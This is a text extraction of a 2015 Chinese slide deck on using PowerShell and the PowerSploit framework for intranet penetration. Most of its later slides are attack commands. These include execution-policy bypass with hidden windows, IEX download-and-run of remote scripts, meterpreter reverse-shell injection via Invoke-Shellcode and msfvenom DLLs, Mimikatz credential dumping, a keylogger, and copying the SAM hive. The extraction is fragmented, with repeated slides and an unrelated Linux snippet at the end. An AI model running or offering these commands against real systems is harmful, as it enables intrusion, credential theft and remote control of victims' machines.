目录 1. POWERSHELL 简介 2. POWERSPLOIT 3. 内网渗透实例 2

Size: px

Start display at page:

Download "目录 1. POWERSHELL 简介 2. POWERSPLOIT 3. 内网渗透实例 2"

卜铎鲜刘
5 years ago
Views:

1 POWERSHELL 内网渗透实例 WhiteCellClub 创始人白细胞安全团队负责人 light 2015/09/07 1

2 目录 1. POWERSHELL 简介 2. POWERSPLOIT 3. 内网渗透实例 2

3 POWERSHELL 简介 3

4 powershell 简介 Powershell 是运行在 windows 上实现系统和应用程序管理自动化的命令行脚本环境你可以把它看成是命令行提示符 cmd.exe 的扩充, 或是颠覆 powershell 需要.NET 环境的支持, 同时支持.NET 对象其可读性, 易用性, 可以位居当前所有 shell 之首当前 powershell 有四版本, 分别为 1.0,2.0, 3.0,4.0 操作系统 powershell 版本是否可升级 window7/windows Server 2008 Windows 8 /Windows server 2012 Windows 8.1/Windows server 2012 R2 2.0 可以升级为 3.0, 可以升级为否 4

5 powershell 简介启动 powershell 查看版本, 在命令行窗口中输入命令 $PSVersionTable.PSVersion Windows PowerShell 集成脚本环境 (ISE) 5

6 powershell 简介 CMD 命令 netstat ipconfig route print ls/dir cls... LINUX 命令 mkdir rm ls clear... PowerShell 命令的一些基本知识 PowerShell 的命令叫做 cmdlet 具有一致的命名规范, 都采用动词 - 名词形式, 如 New-Item 动词部分一般为 Add New Get Remove Set 等命令的别名一般兼容 Windows Command 以及 Linux Shell, 如 Get- ChildItem 命令使用 dir 或 ls 均可 PowerShell 命令不区分大小写 6

7 powershell 简介以文件操作为例讲解 PowerShell 命令的基本用法新建目录 New-Item whitecellclub -ItemType Directory 新建文件 New-Item light.txt -ItemType File 删除目录 Remove-Item whitecellclub 显示文本内容 Get-Content light.txt 设置文本内容 Set-Content light.txt -Value "i love light so much" 追加内容 Add-Content light.txt -Value "but i love you more" 清除内容 Clear-Content light.txt 7

powershell 简介 powershell 脚本了解计算机上的现用执行策略, 键入 :get-executionpolicy Restricted 默认的设置, 不允许任何 script 运行 AllSigned 只能运行经过数字证书签名的 script RemoteSigned 运行本地的 script

8 powershell 简介 powershell 脚本了解计算机上的现用执行策略, 键入 :get-executionpolicy Restricted 默认的设置, 不允许任何 script 运行 AllSigned 只能运行经过数字证书签名的 script RemoteSigned 运行本地的 script 不需要数字签名, 但是运行从网络上下载的 script 就必须要有数字签名 Unrestricted 允许所有的 script 运行若要在本地计算机上运行您编写的未签名脚本和来自其他用户的签名脚本, 请使用以下命令将计算机上的执行策略更改为 RemoteSigned: set-executionpolicy remotesigned 8

9 powershell 简介 powershell 脚本 PS C:\Users\administrat0r\Desktop> '"Hello,Hackers"' > test.ps1 PS C:\Users\administrat0r\Desktop>.\test.ps1 Hello,Hackers 9

10 powershell 简介 powershell 脚本 10

11 powershell 简介 powershell 脚本 11

12 powershell 简介 powershell 脚本 12

13 powershell 简介 powershell 脚本本地权限绕过执行 PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1 本地隐藏权限绕过执行脚本 PowerShell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden( 隐藏窗口 ) -File xxx.ps1 直接用 IEX 下载远程的 PS1 脚本回来权限绕过执行 powershell "IEX (New-Object Net.WebClient).DownloadString(' Invoke- Mimikatz -DumpCreds" 13

14 powershell 简介 powershell 脚本 14

15 POWERSPLOIT 15

16 powersploit 一款基于 powershell 的后渗透 (Post-Exploitation) 框架, 集成大量渗透相关模块和功能 16

17 powersploit Linux git clone powerspolit 开启 Apache 服务搭建简易可下载 powersploit 脚本的服务器 17

18 powersploit 模块 CodeExecution ScriptModification 说明在目标主机执行代码在目标主机上创建或修改脚本 Persistence 后门脚本 ( 持久性控制 ) AntivirusBypass Exfiltration Mayhem Recon 发现杀软查杀特征目标主机上的信息搜集工具蓝屏等破坏性脚本以目标主机为跳板进行内网信息侦查 18

19 内网渗透实例 19

20 内网渗透实例远程代码执行 : IEX (New-Object Net.WebClient).DownloadString( ) 目标主机安装 invoke-shellcode 脚本 IEX (New-Object Net.WebClient).DownloadString(" n/invoke--shellcode.ps1") 查看帮助信息 : Get-Help Invoke-Shellcode 20

21 内网渗透实例 21

22 内网渗透实例一当前进程注入 meterpreter 反弹马 payload 1 Linux 开启 metasploit 监听 : msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https PAYLOAD => windows/meterpreter/reverse_https msf exploit(handler) > set LHOST LHOST => msf exploit(handler) > set LPORT 4444 LPORT =>

内网渗透实例 2 目标主机开启反弹马 : Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.

23 内网渗透实例 2 目标主机开启反弹马 : Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost Lport Force 3 Linux 成功接收, 得到一个 meterpreter 的 shell msf exploit(handler) > exploit 23

$Start-Process c:\windows\system32\n otepad.$

24 内网渗透实例二指定进程注入反弹马 1 Get-Process 获取当前进程也可以新建一个隐藏进程并注入 : Start-Process c:\windows\system32\n otepad.exe - WindowStyle Hidden 24

内网渗透实例 2 注入 Invoke-Shellcode -ProcessID 1628 -Payload

25 内网渗透实例 2 注入 Invoke-Shellcode -ProcessID Payload windows/meterpreter/reverse_https -Lhost Lport

26 内网渗透实例 DLL 注入可以利用 powersploit 将 dll 文件注入到当前进程中, 但是 dll 文件必须在目标主机上 1 下载安装 powersploit 的 dll 注入脚本 : IEX (New-Object Net.WebClient).DownloadString(" oke-dllinjection.ps1") 26

27 内网渗透实例 2 用 metasploit 生成一个 dll 反弹马 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=4444 -f dll > /var/www/msf.dll 3 将 DLL 文件传输到目标主机 27

$内网渗透实例 3 开启一个隐藏进程并注入 DLL Start-Process c:\windows\system32\notepad.$

28 内网渗透实例 3 开启一个隐藏进程并注入 DLL Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden Invoke-DllInjection -ProcessID Dll.\msf.dll 4 修改 metasploit 监听设置并启动 28

29 内网渗透实例 29

30 内网渗透实例 Invoke-Portscan 端口扫描 IEX (New-Object Net.WebClient).DownloadString(" Portscan.ps1") 30

31 内网渗透实例 Invoke-Portscan -Hosts , Ports "21,22,80,8080,1433,3389" 31

32 内网渗透实例 Invoke-Mimikatz 查看主机密码 ( 需要管理员权限 ) 下载执行脚本 : IEX (New-Object Net.WebClient).DownloadString(" e-mimikatz.ps1") DUMP 密码 : Invoke-Mimikatz -DumpCreds mimikatz 作者博客 :

33 内网渗透实例 33

$168.146.129/Exfiltratio n/get-keystrokes.ps1") Get-Keystrokes -LogPath.\keylogger.$

34 内网渗透实例键盘记录 ( 详细的鼠标键盘输入记录 ) IEX (New-Object Net.WebClient).DownloadString(" n/get-keystrokes.ps1") Get-Keystrokes -LogPath.\keylogger.txt 34

35 内网渗透实例超级复制 ( 需要管理员权限, 可以复制受保护的运行中的系统文件 ) IEX (New-Object Net.WebClient).DownloadString(" NinjaCopy.ps1") Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" - LocalDestination "C:\Users\light\Desktop\SAM" 普通 COPY 命令效果 : 35

36 总结 36

37 总结 POWERSHELL 还可以方便的调用 Windows API 等等等等, 越深入研究越发现其强大之处, 是内网渗透中被很多人忽略的巨大宝藏工具就像武器, 要多用多练 ; 要在实践中灵活运用, 不能死板照搬 37

38 "when i look into the sky" 谢谢! light@whitecell.club 38

Microsoft Word - linux命令及建议.doc

Microsoft Word - linux命令及建议.doc Linux 操作系统命令集 1 基本命令查看系统信息 : uname -a 修改密码 : passwd 退出 : logout(exit) 获取帮助 : man commands 2 文件和目录命令显示当前工作目录 : pwd 改变所在目录 : cd cd - 切换到上一次使用的目录 cd 切换